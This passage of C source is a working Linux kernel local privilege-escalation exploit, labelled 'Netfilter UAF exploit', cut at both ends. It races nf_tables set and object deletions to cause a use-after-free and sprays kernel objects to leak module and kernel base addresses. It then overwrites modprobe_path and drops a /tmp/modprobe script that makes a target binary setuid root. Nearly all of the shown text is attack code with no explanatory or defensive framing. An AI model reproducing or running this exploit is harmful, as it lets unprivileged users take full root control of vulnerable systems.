err(1, "Cannot into mnl_socket_sendto()");
}
mnl_nlmsg_batch_stop(batch);
while (table_seq + 1 != seq) {
ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
if (ret <= 0)
break;
ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
if (ret < 0)
break;
table_seq++;
}
if (ret == -1) {
err(1, "Cannot into mnl_socket_recvfrom()");
}
}
static void pwn_uaf_trigger(struct mnl_socket *nl)
{
struct mnl_nlmsg_batch *batch;
uint32_t portid, seq, table_seq;
int ret;
printf("pwn_uaf_trigger\n");
seq = time(NULL);
batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
table_seq = seq;
mnl_nlmsg_batch_next(batch);
append_del_rule(batch, seq++, NFPROTO_INET, "testfirewall", pwn_lookup_chain, -1);
for (int spray = 2; spray < 10; spray += 2) {
char *set_name;
asprintf(&set_name, "spray_set_%04hx", spray);
append_del_set(batch, seq++, NFPROTO_INET, "testfirewall", set_name);
}
append_del_set(batch, seq++, NFPROTO_INET, "testfirewall", "set_delay");
struct nftnl_set *set = nftnl_set_alloc();
if (set == NULL) {
errx(1, "Cannot into nftnl_set_alloc()");
}
nftnl_set_set_u32(set, NFTNL_SET_FAMILY, pwn_family);
nftnl_set_set_str(set, NFTNL_SET_TABLE, pwn_table);
nftnl_set_set_str(set, NFTNL_SET_NAME, pwn_lookup_set);
struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc();
if (set_elem == NULL) {
errx(1, "Cannot into nftnl_set_elem_alloc()");
}
nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, uaf_set_key, sizeof(uaf_set_key));
nftnl_set_elem_add(set, set_elem);
struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
mnl_nlmsg_batch_current(batch),
NFT_MSG_DELSETELEM,
NFPROTO_INET,
NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK,
seq++
);
nftnl_set_elems_nlmsg_build_payload(nlh, set);
mnl_nlmsg_batch_next(batch);
nftnl_set_free(set);
for (int spray = 2; spray < 10; spray += 2) {
char *obj_name;
asprintf(&obj_name, "spray_obj_%04hx", spray);
append_del_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name);
}
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
}
mnl_nlmsg_batch_stop(batch);
while (table_seq + 1 != seq) {
ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
if (ret <= 0)
break;
ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
if (ret < 0)
break;
table_seq++;
}
if (ret == -1) {
err(1, "Cannot into mnl_socket_recvfrom()");
}
}
static void pwn_uaf_race(struct mnl_socket *nl)
{
uint32_t portid, seq, table_seq;
int ret;
printf("pwn_uaf_race\n");
uint32_t set_desc_size;
if (cfg_race_set_slab == 0) {
set_desc_size = 0x0c;
}
else {
set_desc_size = 0x10;
}
seq = time(NULL);
struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
table_seq = seq;
mnl_nlmsg_batch_next(batch);
for (int spray = 0; spray != 0x20; ++ spray) {
char *set_name;
asprintf(&set_name, "race_set_%04hx", spray);
pwn_create_set(batch, seq++, set_name, spray, NFT_SET_ANONYMOUS, sizeof(uaf_set_key), set_desc_size, NULL, 0);
}
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
}
mnl_nlmsg_batch_stop(batch);
while (table_seq + 1 != seq) {
ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
if (ret <= 0)
break;
ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
if (ret < 0)
break;
table_seq++;
}
if (ret == -1) {
err(1, "Cannot into mnl_socket_recvfrom()");
}
}
static void pwn_uaf_new_obj(struct mnl_socket *nl)
{
uint32_t portid, seq, table_seq;
int ret;
printf("pwn_uaf_new_obj\n");
seq = time(NULL);
struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
table_seq = seq;
mnl_nlmsg_batch_next(batch);
for (int spray = 0; spray < 0x40; ++ spray) {
char *obj_name;
asprintf(&obj_name, "uaf_obj_%04hx_", spray);
char obj_userdata[uaf_chunk_size];
memset(obj_userdata, 'C', sizeof(obj_userdata));
memcpy(obj_userdata, obj_name, strlen(obj_name));
append_new_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name, obj_userdata, sizeof(obj_userdata));
}
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
}
mnl_nlmsg_batch_stop(batch);
while (table_seq + 1 != seq) {
ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
if (ret <= 0)
break;
ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
if (ret < 0)
break;
table_seq++;
}
if (ret == -1) {
err(1, "Cannot into mnl_socket_recvfrom()");
}
}
int uaf_obj_serial = -1;
uint64_t uaf_log_handle = -1;
static int pwn_uaf_dump_rule_cb(const struct nlmsghdr *nlh, void *data)
{
struct nftnl_rule *rule = nftnl_rule_alloc();
if (rule == NULL) {
errx(1, "Cannot into nftnl_rule_alloc()");
}
if (nftnl_rule_nlmsg_parse(nlh, rule) < 0) {
errx(1, "Cannot into nftnl_rule_nlmsg_parse()");
}
struct nftnl_expr_iter *expr_iter = nftnl_expr_iter_create(rule);
while (1) {
struct nftnl_expr *expr = nftnl_expr_iter_next(expr_iter);
if (expr == NULL)
break;
const char *name = nftnl_expr_get_str(expr, NFTNL_EXPR_NAME);
if (strcmp(name, "log") == 0) {
const char *prefix = nftnl_expr_get_str(expr, NFTNL_EXPR_LOG_PREFIX);
if (strcmp(prefix, log_prefix) != 0) {
int serial = -1;
int res = sscanf(prefix, "uaf_obj_%x_", &serial);
if (res == 1) {
uaf_obj_serial = serial;
}
uaf_log_handle = nftnl_rule_get_u64(rule, NFTNL_RULE_HANDLE);
printf("\nDetected UAF with uaf_obj_serial=%x reusing uaf_log_handle=%lx:", uaf_obj_serial, uaf_log_handle);
hex_dump(prefix, strlen(prefix));
}
}
}
nftnl_expr_iter_destroy(expr_iter);
nftnl_rule_free(rule);
return MNL_CB_OK;
}
static void pwn_uaf_dump_rule(struct mnl_socket *nl)
{
uint32_t portid, seq;
int ret;
printf("pwn_uaf_dump_rule\n");
seq = time(NULL);
struct nftnl_rule *rule = nftnl_rule_alloc();
if (rule == NULL) {
errx(1, "Cannot into nftnl_rule_alloc()");
}
nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, "testfirewall");
struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr(
mnl_batch_buffer,
NFT_MSG_GETRULE,
NFPROTO_INET,
NLM_F_DUMP | NLM_F_ACK,
seq
);
nftnl_rule_nlmsg_build_payload(nlh, rule);
nftnl_rule_free(rule);
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
}
ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
while (ret > 0) {
ret = mnl_cb_run(mnl_batch_buffer, ret, seq, portid, pwn_uaf_dump_rule_cb, NULL);
if (ret <= 0)
break;
ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
}
if (ret == -1) {
err(1, "Cannot into mnl_socket_recvfrom()");
}
}
static void pwn_uaf_del_rule(struct mnl_socket *nl)
{
struct mnl_nlmsg_batch *batch;
uint32_t portid, seq, table_seq;
int ret;
printf("pwn_uaf_del_rule\n");
seq = time(NULL);
batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
table_seq = seq;
mnl_nlmsg_batch_next(batch);
append_del_rule(batch, seq++, NFPROTO_INET, "testfirewall", pwn_log_chain, uaf_log_handle);
for (int spray = 2; spray < 15; spray += 3) {
char *obj_name;
asprintf(&obj_name, "uaf_obj_%04hx_", (uaf_obj_serial + spray) % 0x40);
append_del_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name);
}
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
}
mnl_nlmsg_batch_stop(batch);
while (table_seq + 1 != seq) {
ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
if (ret <= 0)
break;
ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
if (ret < 0)
break;
table_seq++;
}
if (ret == -1) {
err(1, "Cannot into mnl_socket_recvfrom()");
}
}
char uaf_obj_userdata[uaf_chunk_size];
int uaf_obj_userdata_valid = 0;
static int pwn_uaf_dump_obj_cb(const struct nlmsghdr *nlh, void *data)
{
struct nftnl_obj *obj = nftnl_obj_alloc();
if (obj == NULL) {
errx(1, "Cannot into nftnl_obj_alloc()");
}
if (nftnl_obj_nlmsg_parse(nlh, obj) < 0) {
errx(1, "Cannot into nftnl_obj_nlmsg_parse()");
}
uint32_t userdata_len;
const void *userdata = nftnl_obj_get_data(obj, NFTNL_OBJ_USERDATA, &userdata_len);
hex_dump(userdata, userdata_len);
if (userdata_len == sizeof(uaf_obj_userdata)) {
memcpy(uaf_obj_userdata, userdata, sizeof(uaf_obj_userdata));
uaf_obj_userdata_valid = 1;
}
nftnl_obj_free(obj);
return MNL_CB_OK;
}
static void pwn_uaf_dump_obj(struct mnl_socket *nl)
{
uint32_t portid, seq;
int ret;
char *obj_name;
asprintf(&obj_name, "uaf_obj_%04hx_", uaf_obj_serial);
printf("pwn_uaf_dump_obj %s\n", obj_name);
seq = time(NULL);
struct nftnl_obj *obj = nftnl_obj_alloc();
if (obj == NULL) {
errx(1, "Cannot into nftnl_obj_alloc()");
}
nftnl_obj_set_u32(obj, NFTNL_OBJ_FAMILY, NFPROTO_INET);
nftnl_obj_set_str(obj, NFTNL_OBJ_TABLE, "testfirewall");
nftnl_obj_set_str(obj, NFTNL_OBJ_NAME, obj_name);
nftnl_obj_set_u32(obj, NFTNL_OBJ_TYPE, NFT_OBJECT_COUNTER);
struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
mnl_batch_buffer,
NFT_MSG_GETOBJ,
NFPROTO_INET,
NLM_F_ACK,
seq
);
nftnl_obj_nlmsg_build_payload(nlh, obj);
nftnl_obj_free(obj);
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
}
ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
while (ret > 0) {
ret = mnl_cb_run(mnl_batch_buffer, ret, seq, portid, pwn_uaf_dump_obj_cb, NULL);
if (ret <= 0)
break;
ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
}
if (ret == -1) {
err(1, "Cannot into mnl_socket_recvfrom()");
}
}
static void pwn_uaf_del_obj(struct mnl_socket *nl, char *obj_name_fmt, int serial)
{
struct mnl_nlmsg_batch *batch;
uint32_t portid, seq, table_seq;
int ret;
printf("pwn_uaf_del_obj %s %x\n", obj_name_fmt, serial);
seq = time(NULL);
batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
table_seq = seq;
mnl_nlmsg_batch_next(batch);
for (int spray = 0; spray < 15; spray += 3) {
char *obj_name;
asprintf(&obj_name, obj_name_fmt, (serial + spray) % 0x40);
append_del_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name);
}
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
}
mnl_nlmsg_batch_stop(batch);
while (table_seq + 1 != seq) {
ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
if (ret <= 0)
break;
ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
if (ret < 0)
break;
table_seq++;
}
if (ret == -1) {
err(1, "Cannot into mnl_socket_recvfrom()");
}
}
static void pwn_read_new_obj(struct mnl_socket *nl, uint64_t addr)
{
uint32_t portid, seq, table_seq;
int ret;
printf("pwn_read_new_obj %lx\n", addr);
seq = time(NULL);
struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
table_seq = seq;
mnl_nlmsg_batch_next(batch);
for (int spray = 0; spray < 0x40; ++ spray) {
char *obj_name;
asprintf(&obj_name, "read_obj_%04hx_", spray);
char obj_userdata[uaf_chunk_size];
memcpy(obj_userdata, uaf_obj_userdata, sizeof(obj_userdata));
memcpy(obj_userdata + 0x14, obj_name, strlen(obj_name));
* (uint64_t *) (obj_userdata + 0x68) = 0xffffffffffffffff;
* (uint64_t *) (obj_userdata + 0x78) = addr;
append_new_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name, obj_userdata, sizeof(obj_userdata));
}
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
}
mnl_nlmsg_batch_stop(batch);
while (table_seq + 1 != seq) {
ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
if (ret <= 0)
break;
ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
if (ret < 0)
break;
table_seq++;
}
if (ret == -1) {
err(1, "Cannot into mnl_socket_recvfrom()");
}
}
int read_obj_serial = -1;
uint64_t read_quota_consumed = 0;
static int pwn_read_dump_set_elem_cb_elem(struct nftnl_expr *expr, void *data)
{
struct nftnl_set_elem *set_elem = data;
const char *name = nftnl_expr_get_str(expr, NFTNL_EXPR_NAME);
if (strcmp(name, "quota") == 0) {
uint64_t bytes = nftnl_expr_get_u64(expr, NFTNL_EXPR_QUOTA_BYTES);
if (bytes == 0xffffffffffffffff) {
uint32_t set_elem_key_len = -1;
const void *set_elem_key = nftnl_set_elem_get(set_elem, NFTNL_SET_ELEM_KEY, &set_elem_key_len);
printf("\nread expr:");
hex_dump(set_elem_key, set_elem_key_len);
nftnl_expr_fprintf(stdout, expr, NFTNL_OUTPUT_DEFAULT, 0);
printf("\n");
int serial = -1;
int res = sscanf(set_elem_key, "read_obj_%x_", &serial);
if (res == 1) {
read_obj_serial = serial;
read_quota_consumed = nftnl_expr_get_u64(expr, NFTNL_EXPR_QUOTA_CONSUMED);
}
}
}
return MNL_CB_OK;
}
static int pwn_read_dump_set_elem_cb(const struct nlmsghdr *nlh, void *data)
{
struct nftnl_set *set = nftnl_set_alloc();
if (set == NULL) {
errx(1, "Cannot into nftnl_set_alloc()");
}
if (nftnl_set_elems_nlmsg_parse(nlh, set) < 0) {
errx(1, "Cannot into nftnl_set_elems_nlmsg_parse()");
}
struct nftnl_set_elems_iter *set_elems_iter = nftnl_set_elems_iter_create(set);
while (1) {
struct nftnl_set_elem *set_elem = nftnl_set_elems_iter_next(set_elems_iter);
if (set_elem == NULL)
break;
nftnl_set_elem_expr_foreach(set_elem, pwn_read_dump_set_elem_cb_elem, set_elem);
}
nftnl_set_elems_iter_destroy(set_elems_iter);
nftnl_set_free(set);
return MNL_CB_OK;
}
static void pwn_read_dump_set_elem(struct mnl_socket *nl)
{
uint32_t portid, seq;
int ret;
printf("pwn_read_dump_set_elem\n");
struct nftnl_set *set = NULL;
set = nftnl_set_alloc();
if (set == NULL) {
errx(1, "Cannot into nftnl_set_alloc()");
}
seq = time(NULL);
struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
mnl_batch_buffer,
NFT_MSG_GETSETELEM,
NFPROTO_INET,
NLM_F_DUMP | NLM_F_ACK,
seq
);
nftnl_set_set_str(set, NFTNL_SET_NAME, pwn_dynset_set);
nftnl_set_set_str(set, NFTNL_SET_TABLE, "testfirewall");
nftnl_set_elems_nlmsg_build_payload(nlh, set);
nftnl_set_free(set);
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
}
ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
while (ret > 0) {
ret = mnl_cb_run(mnl_batch_buffer, ret, seq, portid, pwn_read_dump_set_elem_cb, NULL);
if (ret <= 0)
break;
ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
}
if (ret == -1) {
err(1, "Cannot into mnl_socket_recvfrom()");
}
}
static void pwn_write_new_obj(struct mnl_socket *nl, uint64_t addr)
{
uint32_t portid, seq, table_seq;
int ret;
printf("pwn_write_new_obj %lx\n", addr);
seq = time(NULL);
struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
table_seq = seq;
mnl_nlmsg_batch_next(batch);
for (int spray = 0; spray < 0x40; ++ spray) {
char *obj_name;
asprintf(&obj_name, "write_obj_%04hx_", spray);
char obj_userdata[uaf_chunk_size];
memcpy(obj_userdata, uaf_obj_userdata, sizeof(obj_userdata));
* (uint64_t *) (obj_userdata + 0x68) = 0xffffffffffffffff;
* (uint64_t *) (obj_userdata + 0x78) = addr;
append_new_obj(batch, seq++, NFPROTO_INET, "testfirewall", obj_name, obj_userdata, sizeof(obj_userdata));
}
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "Cannot into mnl_socket_sendto()");
}
mnl_nlmsg_batch_stop(batch);
while (table_seq + 1 != seq) {
ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
if (ret <= 0)
break;
ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
if (ret < 0)
break;
table_seq++;
}
if (ret == -1) {
err(1, "Cannot into mnl_socket_recvfrom()");
}
}
static int pwn_main()
{
int res;
int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(1337);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
struct mnl_socket *nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL) {
err(1, "Cannot into mnl_socket_open()");
}
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
err(1, "Cannot into mnl_socket_bind()");
}
memset(log_prefix, 'A', sizeof(log_prefix));
log_prefix[uaf_chunk_size - 2] = 0;
pwn_prepare(nl);
usleep(cfg_initial_usleep);
pwn_uaf_spray(nl);
pwn_delay_spray_set(nl);
uint64_t race_set_elem_key = 0;
while (race_set_elem_key < cfg_race_set_elem_count) {
pwn_delay_spray_set_elem(nl, &race_set_elem_key, cfg_race_set_elem_count);
}
pwn_uaf_trigger(nl);
usleep(cfg_race_lead_usleep);
pwn_uaf_race(nl);
usleep(cfg_race_lag_usleep);
pwn_uaf_new_obj(nl);
pwn_uaf_dump_rule(nl);
if (uaf_obj_serial < 0) {
return EAGAIN;
}
pwn_uaf_del_rule(nl);
usleep(cfg_reuse_usleep);
for (int i = 0; i < 0x40; ++ i) {
char message[1] = { i };
res = sendto(sock, message, sizeof(message), 0, (struct sockaddr *) &addr, sizeof(addr));
if (res != sizeof(message)) {
err(1, "Cannot into sendto()");
}
}
pwn_uaf_dump_obj(nl);
if (uaf_obj_userdata_valid != 1) {
return EAGAIN;
}
uint64_t nf_tables_va = * (uint64_t *) (uaf_obj_userdata + 0x50);
nf_tables_va -= cfg_nft_counter_ops;
printf("\nnf_tables_va=%lx\n\n", nf_tables_va);
if ((nf_tables_va & 0xfff) != 0) {
printf("\n[!] unexpected module base %lx != 0\n", (nf_tables_va & 0xfff));
return EAGAIN;
}
pwn_uaf_del_obj(nl, "uaf_obj_%04hx_", uaf_obj_serial);
usleep(cfg_reuse_usleep);
uint64_t read_addr = nf_tables_va + cfg_nft_counter_destroy + cfg_nft_counter_destroy_call_offset;
pwn_read_new_obj(nl, read_addr);
pwn_read_dump_set_elem(nl);
if (read_obj_serial < 0) {
return EAGAIN;
}
int64_t read_data = read_quota_consumed;
printf("\nread_data=%lx\n", read_data);
if ((read_data & cfg_nft_counter_destroy_call_mask) != cfg_nft_counter_destroy_call_check) {
printf("\n[!] code check failure %lx != %lx\n", (read_data & cfg_nft_counter_destroy_call_mask), cfg_nft_counter_destroy_call_check);
return EAGAIN;
}
read_data >>= 0x20;
read_data += (read_addr + 8);
uint64_t kernel_va = read_data - cfg_free_percpu;
printf("\nkernel_va=%lx\n\n", kernel_va);
if ((kernel_va & 0xfff) != 0) {
printf("\n[!] unexpected kernel base %lx != 0\n", (kernel_va & 0xfff));
return EAGAIN;
}
pwn_uaf_del_obj(nl, "read_obj_%04hx_", read_obj_serial);
usleep(cfg_reuse_usleep);
pwn_write_new_obj(nl, kernel_va + cfg_modprobe_path + 1);
char sbin[0x8000];
memcpy(sbin, uaf_obj_userdata + 0x14, 0x34);
/* "/tmp" - "sbin" */
int sbin_count = 33821116;
while (sbin_count != 0) {
sbin_count -= 0x1c;
size_t send_size = sbin_count;
if (send_size > sizeof(sbin))
send_size = sizeof(sbin) - 0x1c;
sbin_count -= send_size;
res = sendto(sock, sbin, send_size, 0, (struct sockaddr *) &addr, sizeof(addr));
if (res != send_size) {
err(1, "Cannot into sendto()");
}
}
return 0;
}
static void netdevice_up(char *name)
{
int res;
int connection = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (connection == -1) {
err(1, "Cannot into socket()");
}
struct ifreq ifreq;
memset(&ifreq, 0, sizeof(ifreq));
snprintf(ifreq.ifr_name, IF_NAMESIZE, "%s", name);
res = ioctl(connection, SIOCGIFFLAGS, &ifreq);
if (res == -1) {
err(1, "Cannot into ioctl()");
}
ifreq.ifr_flags |= (IFF_UP | IFF_RUNNING);
res = ioctl(connection, SIOCSIFFLAGS, &ifreq);
if (res == -1) {
err(1, "Cannot into ioctl()");
}
res = close(connection);
if (res != 0) {
err(1, "Cannot into close()");
}
}
volatile int cpu_spinning = 1;
static void pwn(size_t cpu_set_size, const cpu_set_t *cpu_set, int socketfd)
{
int res;
res = sched_setaffinity(0, cpu_set_size, cpu_set);
if (res != 0) {
err(1, "Cannot into sched_setaffinity()");
}
printf("[*] Putting on seatbelts\n");
netdevice_up("lo");
int status = pwn_main();
printf("[*] Signaling status=%d to coordinator...\n", status);
res = write(socketfd, &status, sizeof(status));
if (res != sizeof(status)) {
err(1, "Cannot into write()");
}
while (cpu_spinning) {
usleep(60 * 1000 * 1000);
}
}
/****************************************************************************
*
* Coordinator
*
*/
static int clone_helper(void *ctx)
{
jmp_buf *env = ctx;
longjmp(*env, 1);
err(1, "Cannot into pthread_attr_init()");
return 1;
}
__attribute__((noinline))
static pid_t clone_with_longjmp(unsigned long flags, jmp_buf *env)
{
char helper_stack_buffer[2 * PTHREAD_STACK_MIN + __BIGGEST_ALIGNMENT__];
uintptr_t helper_stack_addr = (uintptr_t) helper_stack_buffer;
helper_stack_addr += PTHREAD_STACK_MIN + __BIGGEST_ALIGNMENT__ - 1;
helper_stack_addr -= helper_stack_addr % __BIGGEST_ALIGNMENT__;
void *helper_stack = (void *) helper_stack_addr;
pid_t pid = clone(clone_helper, helper_stack, flags, env);
if (pid == -1) {
err(1, "Cannot into clone()");
}
return pid;
}
static void *cpu_spinning_loop(void *)
{
while (cpu_spinning) {
}
return NULL;
}
static void thread_create_with_affinity(pthread_t *thread,
size_t cpu_set_size, const cpu_set_t *cpu_set,
void *(*start_routine) (void *), void *arg)
{
pthread_attr_t attr;
int res;
res = pthread_attr_init(&attr);
if (res != 0) {
err(1, "Cannot into pthread_attr_init()");
}
res = pthread_attr_setaffinity_np(&attr, cpu_set_size, cpu_set);
if (res != 0) {
err(1, "Cannot into pthread_attr_setaffinity_np()");
}
res = pthread_create(thread, &attr, start_routine, arg);
if (res != 0) {
err(1, "Cannot into pthread_create()");
}
res = pthread_attr_destroy(&attr);
if (res != 0) {
err(1, "Cannot into pthread_attr_destroy()");
}
}
static void pwn_helper(size_t cpu_set_size, const cpu_set_t *cpu_set,
char *target_path, char *target_argv[], char *target_envp[])
{
int res;
int socketfd[2];
res = socketpair(AF_UNIX, SOCK_STREAM, 0, socketfd);
if (res != 0) {
err(1, "Cannot into socketpair()");
}
pid_t pwn_pid = -1;
jmp_buf env;
if (setjmp(env) == 0) {
pwn_pid = clone_with_longjmp(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET | SIGCHLD, &env);
}
else {
res = close(socketfd[0]);
if (res != 0) {
err(1, "Cannot into close()");
}
char buf[1];
res = read(socketfd[1], buf, sizeof(buf));
if (res != sizeof(buf)) {
err(1, "Cannot into read()");
}
printf("[*] Starting PWN Worker\n");
pwn(cpu_set_size, cpu_set, socketfd[1]);
err(1, "Unexpected return from exploit()");
}
res = close(socketfd[1]);
if (res != 0) {
err(1, "Cannot into close()");
}
umask(0022);
printf("[*] Creating \"/tmp/modprobe\"...\n");
char *modprobe_content;
res = asprintf(&modprobe_content, "#!/bin/sh\n\nchown 0:0 \"%s\"\nchmod 4555 \"%s\"\n",
target_path, target_path);
file_write("/tmp/modprobe", O_CREAT | O_WRONLY, 0755,
modprobe_content, res);
printf("[*] Creating \"/tmp/trigger\"...\n");
char trigger_content[4] = { 0xff, 0xff, 0xff, 0xff, };
file_write("/tmp/trigger", O_CREAT | O_WRONLY, 0755,
trigger_content, sizeof(trigger_content));
printf("[*] Updating setgroups...\n");
char *pwn_setgroups_path;
res = asprintf(&pwn_setgroups_path, "/proc/%d/setgroups", pwn_pid);
if (res == -1) {
err(1, "Cannot into asprintf()");
}
char *pwn_setgroups_content = "deny";
file_write(pwn_setgroups_path, O_WRONLY, 0,
pwn_setgroups_content, strlen(pwn_setgroups_content));
printf("[*] Updating uid_map...\n");
char *pwn_uid_map_path;
res = asprintf(&pwn_uid_map_path, "/proc/%d/uid_map", pwn_pid);
if (res == -1) {
err(1, "Cannot into asprintf()");
}
char *pwn_uid_map_content;
res = asprintf(&pwn_uid_map_content, "0 %d 1", getuid());
if (res == -1) {
err(1, "Cannot into asprintf()");
}
file_write(pwn_uid_map_path, O_WRONLY, 0,
pwn_uid_map_content, res);
printf("[*] Updating gid_map...\n");
char *pwn_gid_map_path;
res = asprintf(&pwn_gid_map_path, "/proc/%d/gid_map", pwn_pid);
if (res == -1) {
err(1, "Cannot into asprintf()");
}
char *pwn_gid_map_content;
res = asprintf(&pwn_gid_map_content, "0 %d 1", getgid());
if (res == -1) {
err(1, "Cannot into asprintf()");
}
file_write(pwn_gid_map_path, O_WRONLY, 0,
pwn_gid_map_content, res);
printf("[*] Signaling PWN Worker...\n");
char buf[1] = {};
res = write(socketfd[0], buf, sizeof(buf));
if (res != sizeof(buf)) {
err(1, "Cannot into write()");
}
printf("[*] Waiting for PWN Worker...\n");
int status = EFAULT;
res = read(socketfd[0], &status, sizeof(status));
if (res != sizeof(status)) {
err(1, "Cannot into read()");
}
printf("[*] Got status=%d from PWN Worker...\n", status);
if (status == EAGAIN) {
return;
}
printf("[*] Checking \"cat /proc/sys/kernel/modprobe\"...\n");
system("cat /proc/sys/kernel/modprobe");
system("/tmp/trigger");
res = execve(target_path, target_argv, target_envp);
err(1, "Cannot into execve()");
}
static void exploit(char *target_path, char *target_argv[], char *target_envp[])
{
int cpu_alloc = 0x80;
cpu_set_t *cpu_set;
size_t cpu_set_size;
int res;
printf("[*] Netfilter UAF exploit\n\n");
cfg_load("profile");
cfg_print();
/* see https://github.com/linux-test-project/ltp/blob/master/testcases/kernel/syscalls/getcpu/getcpu01.c */
printf("[*] Checking for available CPUs...\n");
while (1) {
cpu_alloc <<= 1;
cpu_set = CPU_ALLOC(cpu_alloc);
if (cpu_set == NULL) {
err(1, "Cannot into CPU_ALLOC()");
}
